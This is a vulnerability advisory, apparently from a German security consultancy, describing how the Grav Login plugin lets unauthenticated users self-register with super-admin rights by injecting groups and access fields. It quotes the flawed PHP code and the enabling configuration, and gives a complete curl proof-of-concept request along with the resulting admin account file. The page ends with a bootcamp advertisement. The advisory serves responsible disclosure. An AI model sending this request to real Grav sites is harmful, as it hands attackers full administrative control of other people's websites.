| CVSS 3.1: | 9.4
(Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| ||||||||||||||||
| Software: | Grav | ||||||||||||||||
| Published: | 27.04.2026 | ||||||||||||||||
| CVE: | CVE-2026-42613 ↗ | ||||||||||||||||
| Credits: | Jonathan Dersch | ||||||||||||||||
| External Advisory: | Check out the external advisory ↗ |
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the
registration POST data without server-side validation. When registration is enabled and groups or access are
included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges
by injecting these fields into the registration request.
This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an
admin-facing setting, not a hardcoded security boundary.
user/plugins/login/classes/Login.php, lines 246-306Login::register()Login::validateField(), lines 363-432In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not
already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}
If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults
are skipped. The attacker’s values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();
The validateField() method (lines 363-432) has a switch statement that only validates: username, password,
password2, email, permissions, state, and language. The groups and access fields pass through the
default case with no validation at all.
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups # ← enables the attack
- access # ← enables the attack
This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a
non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation
constraining which groups can be selected.
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email]=attacker@evil.com" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"
user/accounts/attacker.yaml):email: attacker@evil.com
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabled
The attacker can then log into /admin with full super-admin privileges.
groups or access in allowed fields — a configuration the admin UI
permits without warningIn unserem Hacking Cult Bootcamp durchläufst du in 4 Wochen einen strukturierten Security-Check. Von Grundlagenwissen, um zu prüfen, wo dein Team wirklich steht, bis hin zum konkreten Schwachstellen-Scan deiner Webanwendung. Und das komplett kostenlos!
Gerolfinger Str. 106
85049 Ingolstadt
+49 (841) 9937 3456
ops[LOESCH-MICH-SPAMSCHUTZ]@[LOESCH-MICH-AUCH]hackingcult.de